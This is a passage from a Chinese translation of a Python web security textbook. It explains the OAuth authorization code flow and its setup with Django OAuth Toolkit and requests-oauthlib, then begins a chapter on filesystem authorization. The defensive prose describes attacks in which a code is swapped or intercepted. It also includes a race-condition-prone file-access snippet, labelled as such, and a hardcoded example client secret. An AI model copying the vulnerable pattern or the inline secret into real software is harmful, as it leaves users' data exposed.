在此阶段,如图 11.4 所示,OAuth 客户端会将授权码交换为访问令牌。然后,该代码将与 OAuth 客户端注册凭据一起直接发送回到它来自的地方,即授权服务器。

授权服务器验证代码和 OAuth 客户端凭据。代码必须熟悉、未使用、最近的,并且与 OAuth 客户端标识符关联。客户端凭据必须有效。如果满足每个标准,授权服务器将响应一个访问令牌。

CH11_F04_Byrne

图 11.4 从重定向 URI 解析授权码后,OAuth 客户端将其发送回到它来自的地方;授权服务器将响应一个访问令牌。

最后一个阶段始于 OAuth 客户端向资源服务器发送请求。

访问受保护资源

在此阶段,如图 11.5 所示,OAuth 客户端使用访问令牌来访问受保护的资源。此请求在标头中携带访问令牌。资源服务器负责验证访问令牌。如果令牌有效,则授予 OAuth 客户端对受保护资源的访问权限。

CH11_F05_Byrne

图 11.5 使用访问令牌,第三方站点向资源服务器请求受保护的资源。

图 11.6 描述了从开始到结束的授权码流程。

CH11_F06_Byrne

图 11.6 我们的 OAuth 授权码流程

在下一节中,我将再次与 Alice、Bob 和 Charlie 一起详细介绍此协议。

11.2 Bob 授权 Charlie

在之前的章节中,你为 Alice 制作了一个网站;Bob 注册为它的用户。在这个过程中,Bob 信任 Alice 的个人信息,即他的电子邮件。在本节中,Alice、Bob 和 Charlie 合作开展一个新的工作流程。Alice 将她的网站转变为授权服务器和资源服务器。Charlie 的新网站请求 Bob 的许可,以从 Alice 的网站检索 Bob 的电子邮件。Bob 授权 Charlie 的网站,而不会暴露他的身份验证凭据。在下一节中,我将向你展示如何实现这个工作流程。

这个工作流程是之前介绍的授权授予类型的实现。它从 Charlie 开始,他在 Python 中构建一个新网站。Charlie 决定通过 OAuth 与 Alice 的网站集成。这提供了以下好处:

  • Charlie 可以要求 Bob 提供他的电子邮件地址。

  • Bob 更有可能分享他的电子邮件地址,因为他不需要输入它。

  • Charlie 避免构建用户注册和电子邮件确认的工作流程。

  • Bob 少记住一个密码。

  • Charlie 不需要承担管理 Bob 密码的责任。

  • Bob 节省了时间。

作为 authorize.alice.com 的超级用户,Alice 通过她的网站的管理控制台为 Charlie 注册了一个 OAuth 客户端。图 11.7 展示了 OAuth 客户端注册表单。请花一分钟观察这个表单有多少熟悉的字段。这个表单包含了 OAuth 客户端凭据、名称和重定向 URI 的字段。请注意,授权码选项被选中为授权授予类型字段。

CH11_F07_Byrne

图 11.7 Django 管理控制台中的 OAuth 客户端注册表单

11.2.1 请求授权

Bob 访问 Charlie 的网站,client.charlie.com。Bob 对这个网站不熟悉,所以它呈现了接下来的链接。这个链接的地址是一个授权 URL;它是由授权服务器 authorize.alice.com 托管的授权表单的地址。授权 URL 的前两个查询参数是必需的,以粗体字显示。response_type参数设置为code,就像授权码一样。第二个参数是 Charlie 的 OAuth 客户端 ID:

<a href='https:/./authorize.alice.com/o/authorize/?
➥ response_type=code&                                    # ❶
➥ client_id=Q7kuJVjbGbZ6dGlwY49eFP7fNFEUFrhHGGG84aI3&    # ❶
➥ state=ju2rUmafnEIxvSqphp3IMsHvJNezWb'>                 # ❷
    What is your email?
</a>

❶ 必需的查询参数

❷ 一个可选的安全功能

state参数是一个可选的安全功能。稍后,当 Bob 授权 Charlie 的网站后,Alice 的授权服务器将通过将其附加到重定向 URI 来将此参数回显到 Charlie 的网站。我稍后会解释为什么,在本节的结尾。

11.2.2 授予权限

Bob 通过点击链接导航到 authorize.alice.com。Bob 碰巧已经登录,所以 authorize.alice.com 不会麻烦他进行身份验证;授权表单立即呈现。这个表单的目的是确保 Bob 做出知情决定。表单询问 Bob 是否愿意将他的电子邮件地址提供给 Charlie 的网站,使用 Charlie 的 OAuth 客户端的名称。

Bob 通过提交授权表单来授予权限。然后,Alice 的授权服务器将他重定向回 Charlie 的站点。重定向 URI 包含两个参数。授权码由 code 参数携带,如粗体所示;Charlie 的站点稍后将用此来交换访问令牌。state 参数的值与通过授权 URL 到达的值匹配:

https:/./client.charlie.com/oauth/callback/?    # ❶
➥ code=CRN7DwyquEn99mrWJg5iAVVlJZDTzM&        # ❷
➥ state=ju2rUmafnEIxvSqphp3IMsHvJNezWb        # ❸

❶ 重定向 URI

❷ 授权码

❸ 将状态回映到 Charlie 的站点

11.2.3 令牌交换

Charlie 的站点通过解析重定向 URI 中的代码并将其直接发送回 Alice 的授权服务器来开始此阶段。Charlie 通过调用一个称为令牌端点的服务来执行此操作。其目的是验证传入的授权码并将其交换为访问令牌。此令牌包含在令牌端点响应的主体中。

访问令牌很重要;任何拥有此令牌的人或机器都可以请求 Bob 的电子邮件,而无需他的用户名或密码。Charlie 的站点甚至不让 Bob 看到令牌。由于这个令牌非常重要,它受到可以用于什么可以使用多长时间的限制。这些限制由令牌端点响应中的两个附加字段指定:scopeexpires_in

接下来显示了令牌端点响应主体。访问令牌,范围和到期时间如粗体所示。此响应指示 Alice 的授权服务器允许 Charlie 的站点使用一个 36,000 秒(10 小时)有效的访问令牌访问 Bob 的电子邮件:

{
 'access_token': 'A2IkdaPkmAjetNgpCRNk0zR78DUqoo',   # ❶
 'token_type': 'Bearer'                              # ❶
 'scope': 'email',                                   # ❷
 'expires_in': 36000,                                # ❷
 ...
}

❶ 指定权限

❷ 通过范围和时间限制权限

11.2.4 访问受保护的资源

最后,Charlie 的站点使用访问令牌从 Alice 的资源服务器检索 Bob 的电子邮件。此请求通过Authorization请求头将访问令牌传递到资源服务器。访问令牌如粗体所示:

GET /protected/name/ HTTP/1.1
Host: resource.alice.com
Authorization: Bearer A2IkdaPkmAjetNgpCRNk0zR78DUqoo

Alice 的资源服务器有责任验证访问令牌。这意味着受保护的资源,即 Bob 的电子邮件,处于范围内,并且访问令牌尚未过期。最后,Charlie 的站点收到一个包含 Bob 的电子邮件的响应。最重要的是,Charlie 的站点在没有 Bob 的用户名或密码的情况下完成了这个操作。

阻止 Mallory

你还记得 Charlie 的站点在授权 URL 中附加了一个 state 参数吗?然后 Alice 的授权服务器通过在重定向 URI 中附加完全相同的参数来回映它?Charlie 的站点通过将 state 参数设置为随机字符串使每个授权 URL 变得唯一。当字符串返回时,站点将其与发送的本地副本进行比较。如果值匹配,Charlie 的站点得出结论,Bob 只是按预期从 Alice 的授权服务器返回。

如果重定向 URI 中的状态值与授权 URL 的状态值不匹配,查理的站点将中止流程;甚至不会尝试将授权代码交换为访问令牌。为什么?因为如果鲍勃是从爱丽丝那里获取重定向 URI 的话,这种情况是不可能发生的。而只有当鲍勃从其他人那里获取重定向 URI(比如玛洛丽)时,才会发生这种情况。

假设爱丽丝和查理不支持这个可选的安全检查。玛洛丽注册为爱丽丝网站的用户。然后,她从爱丽丝的服务器请求授权表单。玛洛丽提交了授权表单,允许查理的站点访问她帐户的电子邮件地址。但是,她没有按照重定向 URI 返回到查理的站点,而是把重定向 URI 发送给鲍勃,作为恶意电子邮件或聊天消息。鲍勃上钩了,按照玛洛丽的重定向 URI 进行了跟踪。这将他带到了查理的站点,并带有玛洛丽账户的有效授权代码。

查理的站点将玛洛丽的代码交换为有效的访问令牌。它使用访问令牌检索玛洛丽的电子邮件地址。玛洛丽现在有机会欺骗查理和鲍勃。首先,查理的站点可能会错误地将玛洛丽的电子邮件地址分配给鲍勃。其次,鲍勃可能会从查理的站点获取有关自己个人信息的错误印象。现在想象一下,如果查理的站点请求其他形式的个人信息——例如健康记录——情况会有多严重。图 11.8 描绘了玛洛丽的攻击。

CH11_F08_Byrne

图 11.8 玛洛丽诱使鲍勃将她的授权代码提交给查理。

在这一节中,你看到了爱丽丝、鲍勃和查理在对抗玛洛丽的同时合作进行工作流程。这个工作流程涵盖了客户注册、授权、令牌交换和资源访问。在接下来的两节中,你将学习如何使用两个新工具构建这个工作流程,即 Django OAuth Toolkit 和 requests-oauthlib

11.3 Django OAuth Toolkit

在本节中,我将向你展示如何将任何 Django 应用服务器转换为授权服务器、资源服务器或两者兼具。在此过程中,我将向你介绍一个重要的 OAuth 构造,称为 scopes。Django OAuth Toolkit(DOT)是一个在 Python 中实现授权和资源服务器的优秀库。DOT 借助一系列可定制的视图、装饰器和实用程序将 OAuth 带到 Django 中。它还与 requests-oauthlib 很好地配合;这两个框架都将繁重的工作委托给一个称为 oauthlib 的第三方组件。

注意 oauthlib 是一个通用的 OAuth 库,没有 Web 框架依赖;这使得它可以在各种 Python Web 框架中使用,而不仅仅是 Django。

在你的虚拟环境中,使用以下命令安装 DOT:

$ pipenv install django-oauth-toolkit

接下来,在你的 Django 项目的 settings 模块中安装 oauth2_provider Django 应用程序。这行代码,如下所示,属于授权服务器和资源服务器,而不是 OAuth 客户端应用程序:

INSTALLED_APPS = [
    ...
    'oauth2_provider',     # ❶
]

❶ 将你的 Django 项目转换为授权服务器、资源服务器,或两者兼有

使用以下命令运行已安装的 oauth2_provider 应用的迁移。这些迁移创建的表存储授权代码、访问令牌以及注册的 OAuth 客户端的账户详情:

$ python manage.py migrate oauth2_provider

在 urls.py 中添加以下路径条目。这包括一打负责 OAuth 客户端注册、授权、令牌交换等的端点:

urlpatterns = [
    ...
    path('o/', include(
     'oauth2_provider.urls', namespace='oauth2_provider')),
]

重新启动服务器并登录到管理员控制台,在 /admin/ 路径下。管理员控制台欢迎页面除了认证和授权之外还有一个新的菜单用于 Django OAuth Toolkit。管理员可以从这个菜单中管理令牌、授权和 OAuth 客户端。

注意在现实世界中,授权服务器和资源服务器几乎总是属于同一组织。对于中小型实施(例如,不是 Twitter 或 Google),授权服务器和资源服务器是同一服务器。在本节中,我分别介绍了它们的角色,但出于简单起见,将它们的实现合并在一起。

在接下来的两个部分中,我将分解你的授权服务器和资源服务器的职责。这些职责包括支持一个重要的 OAuth 功能,称为范围

11.3.1 授权服务器职责

DOT 提供用于处理授权服务器职责的 Web 用户界面、配置设置和工具。这些职责包括以下内容:

  • 定义范围

  • 验证资源所有者

  • 生成重定向 URI

  • 管理授权代码

定义范围

资源所有者通常希望对第三方访问进行细粒度的控制。例如,Bob 可能愿意与 Charlie 分享他的电子邮件,但不分享他的聊天记录或健康记录。OAuth 通过范围满足了这种需求。范围需要协议的每个参与者进行协调;它们由授权服务器定义,由 OAuth 客户端请求,并由资源服务器执行。

范围在授权服务器的 settings 模块中使用 SCOPES 设置进行定义。此设置是一组键值对。每个键表示范围对机器的意义;每个值表示范围对人的意义。键最终出现在授权 URL 和重定向 URI 的查询参数中;值在授权表单中显示给资源所有者。

确保你的授权服务器配置了一个邮件范围,如下面代码中的粗体所示。与其他 DOT 配置设置一样,SCOPES 位于方便的 OAUTH2_PROVIDER 命名空间下:

OAUTH2_PROVIDER = {     # ❶
    ...
 'SCOPES': {
 'email': 'Your email',
 'name': 'Your name',
 ...
 },
    ...
}

❶ Django OAuth Toolkit 配置命名空间

范围是由 OAuth 客户端可选请求的。这是通过将一个可选的查询参数附加到授权 URL 上实现的。该参数名为 scope,伴随着 client_idstate 参数。

如果授权 URL 没有 scope 参数,授权服务器将回退到一组默认范围。默认范围由授权服务器中的 DEFAULT_SCOPES 设置定义。该设置表示在授权 URL 没有范围参数时要使用的范围列表。如果未指定,该设置默认为 SCOPES 中的所有内容:

OAUTH2_PROVIDER = {
    ...
 'DEFAULT_SCOPES': ['email', ],
    ...
}

资源所有者身份验证

身份验证是授权的先决条件;因此,如果资源所有者尚未登录,则服务器必须向其挑战以获取身份验证凭据。DOT 通过利用 Django 身份验证来避免重复发明轮子。资源所有者使用与直接进入网站时相同的常规登录页面进行身份验证。

您的登录页面只需添加一个额外的隐藏输入字段。这个字段在这里用粗体显示,让服务器在用户登录后将用户重定向到授权表单:

<html>
    <body>

       <form method='POST'>
         {% csrf_token %}                                  <!-- ❶ -->
         {{ form.as_p }}                                   <!-- ❷ -->
 <input type="hidden" name="next" value="{{ next }}" />    <!-- ❸ -->
         <button type='submit'>Login</button>
       </form>

    </body>
</html>

❶ 必要,但在第十六章中已涵盖

❷ 动态呈现为用户名和密码表单字段

❸ 隐藏的 HTML 字段

生成重定向 URI

DOT 为您生成重定向 URI,但默认情况下将支持 HTTP 和 HTTPS。以这种方式推送您的系统到生产环境是一个非常糟糕的主意。

警告 每个生产重定向 URI 应该使用 HTTPS,而不是 HTTP。在授权服务器中强制执行这一点,而不是在每个 OAuth 客户端中。

假设 Alice 的授权服务器通过 HTTP 将 Bob 重定向回 Charlie 的站点,并使用重定向 URI。这将向网络窃听者 Eve 显示代码和状态参数。Eve 现在有可能在 Charlie 之前将 Bob 的授权码交换为访问令牌。图 11.9 展示了 Eve 的攻击。当然,她需要 Charlie 的 OAuth 客户端凭据才能成功。

CH11_F09_Byrne

图 11.9 Bob 收到 Alice 的授权码;Eve 拦截该代码并在 Charlie 之前将其发送回 Alice。

ALLOWED_REDIRECT_URI_SCHEMES 设置添加到 settings 模块中,如下所示,以强制所有重定向 URI 使用 HTTPS。该设置是一个字符串列表,表示允许重定向 URI 具有哪些协议:

OAUTH2_PROVIDER = {
    ...
 'ALLOWED_REDIRECT_URI_SCHEMES': ['https'],
    ...
}

管理授权码

每个授权码都有一个过期时间。资源所有者和 OAuth 客户端负责在此时间限制内操作。授权服务器不会将过期的授权码交换为访问令牌。这对于攻击者来说是一种威慑,对于资源所有者和 OAuth 客户端来说是一个合理的障碍。如果攻击者设法拦截授权码,他们必须能够快速将其交换为访问令牌。

使用AUTHORIZATION_CODE_EXPIRE_SECONDS设置来配置授权码的过期时间。此设置表示授权码的生存时间,以秒为单位。此设置在授权服务器中配置,并由其执行。此设置的默认值为 1 分钟;OAuth 规范建议最长为 10 分钟。以下示例配置 DOT 拒绝任何早于 10 秒的授权码:

OAUTH2_PROVIDER = {
    ...
 'AUTHORIZATION_CODE_EXPIRE_SECONDS': 10,
    ...
}

DOT 提供了一个授权码管理的管理控制台 UI。通过点击管理员控制台欢迎页面上的授权码链接或导航到/admin/oauth2_provider/grant/来访问授权页面。管理员使用此页面搜索和手动删除授权码。

管理员通过点击任何授权码来导航到授权码详情页面。该页面允许管理员查看或修改授权码属性,如过期时间、重定向 URI 或范围。

11.3.2 资源服务器责任

与授权服务器开发一样,DOT 提供了用于处理资源服务器责任的 Web 界面、配置设置和实用程序。这些责任包括以下内容:

  • 管理访问令牌

  • 为受保护的资源提供服务

  • 强制作用域

管理访问令牌

与授权码一样,访问令牌也有一个过期时间。资源服务器通过拒绝任何带有过期访问令牌的请求来执行此过期。这不会阻止访问令牌落入错误手中,但如果发生这种情况,可以限制损害。

使用ACCESS_TOKEN_EXPIRE_SECONDS设置来配置每个访问令牌的生存时间。默认值在这里以粗体显示,为 36,000 秒(10 小时)。在您的项目中,此值应尽可能短,但足以让 OAuth 客户端完成其工作:

OAUTH2_PROVIDER = {
    ...
 'ACCESS_TOKEN_EXPIRE_SECONDS': 36000,
    ...
}

DOT 提供了一个类似于授权码管理页面的访问令牌管理界面。管理员可以通过点击管理员控制台欢迎页面上的访问令牌链接或导航到/admin/oauth2_provider/accesstoken/来访问访问令牌页面。管理员使用此页面搜索和手动删除访问令牌。

从访问令牌页面,管理员导航到访问令牌详情页面。管理员使用访问令牌详情页面来查看和修改访问令牌属性,如过期时间。

为受保护的资源提供服务

与未受保护的资源一样,受保护的资源由视图提供服务。在您的资源服务器中添加清单 11.1 中的视图定义。注意EmailView扩展了粗体显示的ProtectedResourceView。这确保了只有持有有效访问令牌的授权 OAuth 客户端才能访问用户的电子邮件。

清单 11.1 使用 ProtectedResourceView 为受保护资源提供服务

from django.http import JsonResponse
from oauth2_provider.views import ProtectedResourceView

class EmailView(ProtectedResourceView):     # ❶
    def get(self, request):                 # ❷
        return JsonResponse({               # ❸
            'email': request.user.email,    # ❸
        })                                  # ❸

❶ 需要有效的访问令牌

❷ 被像 client.charlie.com 这样的 OAuth 客户端调用

❸ 为 Bob 的电子邮件等受保护的资源提供服务

当 OAuth 客户端请求受保护的资源时,它肯定不会发送用户的 HTTP 会话 ID。(在第七章,您了解到会话 ID 是一个用户与一个服务器之间的重要秘密。)那么,资源服务器如何确定请求适用于哪个用户?它必须从访问令牌开始工作。DOT 通过OAuth2TokenMiddleware透明地执行这一步。这个类从访问令牌推断用户,并将request.user设置为如果受保护的资源请求直接来自用户。

打开您的设置文件,并将OAuth2TokenMiddleware,如下面的加粗所示,添加到MIDDLEWARE中。确保您将此组件放在SecurityMiddleware之后:

MIDDLEWARE = [
    ...
 'oauth2_provider.middleware.OAuth2TokenMiddleware',
]

OAuth2TokenMiddleware通过OAuth2Backend的帮助解析用户,如下面的加粗所示。将此组件添加到settings模块中的AUTHENTICATION_BACKENDS中。确保内置的ModelBackend仍然完好无损;这个组件对终端用户身份验证是必要的:

AUTHENTICATION_BACKENDS = [
    'django.contrib.auth.backends.ModelBackend',    # ❶
 'oauth2_provider.backends.OAuth2Backend',       # ❷
]

❶ 验证用户

❷ 验证 OAuth 客户端

强制执行范围

DOT 资源服务器使用ScopedProtectedResourceView强制执行范围。从这个类继承的视图不仅需要一个有效的访问令牌;它们还确保受保护的资源在访问令牌的范围内。

列表 11.2 定义了ScopedEmailView,它是ScopedProtectedResourceView的子类。与列表 11.1 中的EmailView相比,ScopedEmailView只有两个小差别,如下面的加粗所示。首先,它继承自ScopedProtectedResourceView而不是ProtectedResourceView。其次,required_scopes属性定义了要强制执行的范围。

列表 11.2 使用ScopedProtectedResourceView提供受保护的资源

from django.http import JsonResponse
from oauth2_provider.views import ScopedProtectedResourceView

class ScopedEmailView(ScopedProtectedResourceView):    # ❶
 required_scopes = ['email', ]                      # ❷

    def get(self, request):
        return JsonResponse({
            'email': request.user.email,
        })

❶ 需要有效的访问令牌并强制执行范围

❷ 指定要强制执行的范围

将范围分为两类通常很有用:读取或写入。这使资源所有者能够更精细地控制。例如,Bob 可能授予 Charlie 对他的电子邮件的读取访问权限和对他的姓名的写入访问权限。这种方法有一个不幸的副作用:它使范围的数量翻倍。DOT 通过本地支持读取和写入范围的概念来避免这个问题。

DOT 资源服务器使用ReadWriteScopedResourceView自动强制执行读取和写入范围。这个类比ScopedProtectedResourceView进一步验证入站访问令牌的范围与请求的方法是否匹配。例如,如果请求方法是GET,则访问令牌必须具有读取范围;如果请求方法是POSTPATCH,则必须具有写入范围。

列表 11.3 定义了ReadWriteEmailView,它是ReadWriteScopedResourceView的子类。ReadWriteEmailView允许 OAuth 客户端通过使用get方法和patch方法分别读取和写入资源所有者的电子邮件。传入的访问令牌必须具有读取和邮件范围以使用get方法;它必须具有写入和邮件范围以使用patch方法。读取和写入范围不会出现在required_scopes中;它们是隐式的。

列表 11.3 使用 ReadWriteScopedResourceView 提供保护服务

import json
from django.core.validators import validate_email
from oauth2_provider.views import ReadWriteScopedResourceView

class ReadWriteEmailView(ReadWriteScopedResourceView):
    required_scopes = ['email', ]

    def get(self, request):                   # ❶
        return JsonResponse({                 # ❶
            'email': request.user.email,      # ❶
        })                                    # ❶

    def patch(self, request):                 # ❷
        body = json.loads(request.body)       # ❷
        email = body['email']                 # ❷
        validate_email(email)                 # ❷
        user = request.user                   # ❷
        user.email = email                    # ❷
        user.save(update_fields=['email'])    # ❷
        return HttpResponse()                 # ❷

❶ 需要读取和邮件范围

❷ 需要写入和邮件范围

基于函数的视图

DOT 为基于函数的视图提供函数装饰器。这里粗体显示的@protected_resource装饰器在功能上类似于ProtectedResourceViewScopedProtectedResourceView。单独使用此装饰器确保调用者拥有访问令牌。scopes参数确保访问令牌具有足够的范围:

from oauth2_provider.decorators import protected_resource

@protected_resource()                        # ❶
def protected_resource_view_function(request):
    ...
    return HttpResponse()

@protected_resource(scopes=['email'])        # ❷
def scoped_protected_resource_view_function(request):
    ...
    return HttpResponse()

❶ 需要有效的访问令牌

❷ 需要有效的带有邮件范围的访问令牌

这里粗体显示的rw_protected_resource decorator在功能上类似于ReadWriteScopedResourceView。对于带有rw_protected_resource修饰的视图的 GET 请求必须携带具有读取范围的访问令牌。对于同一视图的 POST 请求必须携带具有写入范围的访问令牌。scopes参数指定了其他范围:

from oauth2_provider.decorators import rw_protected_resource

@rw_protected_resource()                     # ❶
def read_write_view_function(request):
    ...
    return HttpResponse()

@rw_protected_resource(scopes=['email'])     # ❷
def scoped_read_write_view_function(request):
    ...
    return HttpResponse()

❶ GET 需要读取范围,POST 需要写入范围

❷ GET 需要读取和邮件范围,POST 需要写入和邮件范围

大多数主要使用 OAuth 的程序员是从客户端进行操作的。像查理这样的人比像爱丽丝这样的人更常见;OAuth 客户端比 OAuth 服务器自然要多。在下一节中,您将学习如何使用requests-oauthlib实现 OAuth 客户端。

11.4 requests-oauthlib

requests-oauthlib是在 Python 中实现 OAuth 客户端的出色库。此库将另外两个组件粘合在一起:requests包和oauthlib。在您的虚拟环境中,运行以下命令来安装requests_oauthlib

$ pipenv install requests_oauthlib

在第三方项目中声明一些常量,从客户端注册凭据开始。在本例中,我将客户端密钥存储在 Python 中。在生产系统中,您的客户端密钥应该安全地存储在密钥管理服务中,而不是您的代码库中:

CLIENT_ID = 'Q7kuJVjbGbZ6dGlwY49eFP7fNFEUFrhHGGG84aI3'
CLIENT_SECRET = 'YyP1y8BCCqfsafJr0Lv9RcOVeMjdw3HqpvIPJeRjXB...'

接下来,定义授权表单、令牌交换端点和受保护资源的 URL:

AUTH_SERVER = 'https:/./authorize.alice.com'
AUTH_FORM_URL = '%s/o/authorize/' % AUTH_SERVER
TOKEN_EXCHANGE_URL = '%s/o/token/' % AUTH_SERVER
RESOURCE_URL = 'https:/./resource.alice.com/protected/email/'

域名

在本章中,我使用诸如authorize.alice.comclient.charlie.com等域名,以避免将您与对 localhost 的含糊引用混淆。为了跟上内容,您不必在本地开发环境中这样做;使用 localhost 就可以了。

只需确保你的第三方服务器绑定到与授权服务器不同的端口即可。服务器的端口由bind参数指定,如下所示加粗显示:

$ gunicorn third.wsgi --bind localhost:8001 \              # ❶
                      --keyfile path/to/private_key.pem \
                      --certfile path/to/certificate.pem

❶ 将服务器绑定到 8001 端口

在下一节中,你将使用这些配置设置来请求授权、获取访问令牌和访问受保护资源。

11.4.1 OAuth 客户端职责

requests-oauthlib 使用 OAuth2Session 处理 OAuth 客户端的职责,它是 Python OAuth 客户端的瑞士军刀。该类旨在自动完成以下操作:

  • 生成授权 URL

  • 将授权码交换为访问令牌

  • 请求受保护资源

  • 撤销访问令牌

将列表 11.4 中的视图添加到你的第三方项目中。WelcomeView 在用户的 HTTP 会话中查找访问令牌。然后,它请求两者之一:用户的授权或来自资源服务器的电子邮件。如果没有访问令牌可用,则渲染一个带有授权 URL 的欢迎页面;如果有访问令牌可用,则渲染一个带有用户电子邮件的欢迎页面。

列表 11.4 OAuth 客户端 WelcomeView

from django.views import View
from django.shortcuts import render
from requests_oauthlib import OAuth2Session

class WelcomeView(View):
    def get(self, request):
        access_token = request.session.get('access_token')
        client = OAuth2Session(CLIENT_ID, token=access_token)
        ctx = {}

        if not access_token:
            url, state = client.authorization_url(AUTH_FORM_URL)    # ❶
            ctx['authorization_url'] = url                          # ❶
            request.session['state'] = state                        # ❶
        else:
            response = client.get(RESOURCE_URL)                     # ❷
            ctx['email'] = response.json()['email']                 # ❷

        return render(request, 'welcome.html', context=ctx)

❶ 请求授权

❷ 访问受保护资源

OAuth2Session 用于生成授权 URL 或检索受保护资源。请注意,状态值的副本存储在用户的 HTTP 会话中;期望授权服务器在协议的后续阶段回显此值。

接下来,将以下欢迎页面模板添加到你的第三方项目中。如果用户的电子邮件已知,则渲染用户的电子邮件。否则,渲染授权链接(加粗显示):

<html>
    <body>
        {% if email %}
            Email: {{ email }}
        {% else %}
            <a href='{{ authorization_url }}'>    <!-- ❶ -->
                What is your email?               <!-- ❶ -->
            </a>                                  <!-- ❶ -->
        {% endif %}
    </body>
</html>

❶ 请求授权

请求授权

有许多请求授权的方法。在本章中,我为了简单起见使用链接来完成。或者,你可以通过重定向来完成。此重定向可以在 JavaScript、视图或自定义中间件组件中进行。

接下来,将列表 11.5 中的视图添加到你的第三方项目中。与 WelcomeView 一样,OAuthCallbackView 首先通过会话状态初始化 OAuth2Session。此视图将令牌交换委托给 OAuth2Session,并提供重定向 URI 和客户端密钥。然后将访问令牌存储在用户的 HTTP 会话中,WelcomeView 可以访问它。最后,用户被重定向回欢迎页面。

列表 11.5 OAuth 客户端 OAuthCallbackView

from django.shortcuts import redirect
from django.urls import reverse
from django.views import View

class OAuthCallbackView(View):
    def get(self, request):
        state = request.session.pop('state')
        client = OAuth2Session(CLIENT_ID, state=state)

        redirect_URI = request.build_absolute_uri()
        access_token = client.fetch_token(          # ❶
            TOKEN_EXCHANGE_URL,                     # ❶
            client_secret=CLIENT_SECRET,            # ❶
            authorization_response=redirect_URI)    # ❶
        request.session['access_token'] = access_token

        return redirect(reverse('welcome'))         # ❷

❶ 请求授权

❷ 将用户重定向回欢迎页面

fetch_token 方法为 OAuthCallbackView 执行了大量工作。首先,此方法从重定向 URI 中解析代码和状态参数。然后,它将入站状态参数与从用户的 HTTP 会话中提取的状态进行比较。如果两个值不匹配,则引发 MismatchingStateError,并且授权码永远不会被使用。如果两个状态值匹配,则 fetch_token 方法将授权码和客户端密钥发送到令牌交换端点。

撤销令牌

当你完成一个访问令牌后,通常没有理由继续持有它。你不再需要它,而且只有当它落入错误的手中时才会对你造成危害。因此,通常最好在访问令牌完成其目的后撤销每个访问令牌。一旦被撤销,访问令牌就无法用于访问受保护的资源。

DOT 通过一个专门的端点来处理令牌撤销。这个端点需要一个访问令牌和 OAuth 客户端凭据。以下代码演示了如何访问令牌撤销。请注意,资源服务器会用 403 状态码回应后续请求:

>>> data = {
...     'client_id': CLIENT_ID,
...     'client_secret': CLIENT_SECRET,
...     'token': client.token['access_token']
... }
>>> client.post('%s/o/revoke_token/' % AUTH_SERVER, data=data)    # ❶
<Response [200]>                                                  # ❶
>>> client.get(RESOURCE_URL)                                      # ❷
<Response [403]>                                                  # ❷

❶ 撤销访问令牌

❷ 后续访问被拒绝

大型 OAuth 提供商通常允许你手动撤销为你的个人数据发布的访问令牌。例如,访问myaccount.google.com/permissions查看为你的 Google 账户发布的所有有效访问令牌的列表。这个用户界面让你查看每个访问令牌的详细信息,并撤销它们。为了保护你的隐私,你应该撤销对任何你不打算很快使用的客户端应用程序的访问权限。

在这一章中,你学到了很多关于 OAuth 的知识。你从资源所有者、OAuth 客户端、授权服务器和资源服务器的角度了解了这个协议是如何工作的。你还接触到了 Django OAuth Toolkit 和requests-oauthlib。这些工具在它们的工作中表现出色,文档完善,并且彼此之间相互配合良好。

总结

  • 你可以在不分享密码的情况下分享你的数据。

  • 授权码流是目前最常用的 OAuth 授权类型。

  • 授权码被交换为访问令牌。

  • 通过限制访问令牌的时间和范围来降低风险。

  • 范围由 OAuth 客户端请求,由授权服务器定义,并由资源服务器强制执行。

第三部分:攻击抵抗

与第 1 部分和第 2 部分不同,第 3 部分主要关注的不是基础知识或发展。相反,一切都围绕着 Mallory 展开,她用跨站脚本、开放式重定向攻击、SQL 注入、跨站请求伪造、点击劫持等攻击摧毁其他角色。这是书中最具对抗性的部分。在每一章中,攻击不是为了补充主要思想;攻击就是主要思想。

第十二章:使用操作系统

本章内容包括

  • 使用os模块强制执行文件系统级别的授权

  • 使用tempfile模块创建临时文件

  • 使用subprocess模块调用外部可执行文件

  • 抵御 shell 注入和命令注入

最近的几章都涉及授权。你学习了用户、组和权限。我通过将这些概念应用于文件系统访问来开始本章。此后,我将向你展示如何安全地从 Python 中调用外部可执行文件。在此过程中,你将学习如何识别和抵御两种类型的注入攻击。这为本书的其余部分奠定了基调,专注于攻击抵御。

12.1 文件系统级别的授权

像大多数编程语言一样,Python 本地支持文件系统访问;不需要第三方库。文件系统级别的授权比应用程序级别的授权工作量少,因为你不需要执行任何操作;你的操作系统已经做了这个。在这一部分中,我将向你展示如何执行以下操作:

  • 安全地打开文件

  • 安全地创建临时文件

  • 读取和修改文件权限

12.1.1 请求权限

在过去几十年里,Python 社区中出现了许多缩写词。其中一个代表一种编码风格,称为宁愿请求宽恕,而不是先请求允许EAFP)。EAFP 风格假设前提条件为真,然后在它们为假时捕获异常。

例如,以下代码假设具有足够的访问权限来打开文件。程序不尝试询问操作系统是否有权限读取文件;相反,如果权限被拒绝,程序通过except语句请求宽恕:

try:
    file = open(path_to_file)   # ❶
except PermissionError:         # ❷
    return None                 # ❷
else:
    with file:
        return file.read()

❶ 假设权限,不要求权限

❷ 请求宽恕

EAFP 与另一种编码风格相对应,称为先尝试,再请求允许LBYL)。这种风格首先检查前提条件,然后执行。EAFP 的特点是tryexcept语句;LBYL 的特点是ifthen语句。EAFP 被称为乐观;LBYL 被称为悲观

以下代码是 LBYL 的一个示例;它打开一个文件,但首先查看它是否具有足够的访问权限。注意,这段代码容易受到意外和恶意竞争条件的影响。一个错误或攻击者可能利用os.access函数返回和调用open函数之间的时间间隔。这种编码风格还会导致更多的文件系统访问:

if os.access(path_to_file, os.R_OK):    # ❶
    with open(path_to_file) as file:    # ❷
        return file.read()              # ❷
return None

❶ 看

❷ 跳

Python 社区中有些人强烈偏爱 EAFP 而不是 LBYL;我不是其中之一。我没有偏好,我根据具体情况使用两种风格。在这个特定的案例中,出于安全考虑,我使用 EAFP 而不是 LBYL。

EAFP 对比 LBYL

显然,Python 的创始人 Guido van Rossum 对 EAFP 也没有强烈偏好。Van Rossum 曾在 Python-Dev 邮件列表中写道(mail.python.org/pipermail/python-dev/2014-March/133118.html):

. . . 我不同意 EAFP 比 LBYL 更好,或者“Python 通常推荐”的立场。(你从哪里得到的?从那些如此痴迷于 DRY,宁愿引入高阶函数而不重复一行代码的来源? 😃

12.1.2 使用临时文件

Python 本身支持使用专用模块 tempfile 进行临时文件使用;在处理临时文件时无需生成子进程。tempfile 模块包含一些高级工具和一些低级函数。这些工具以最安全的方式创建临时文件。以这种方式创建的文件不可执行,只有创建用户可以读取或写入它们。

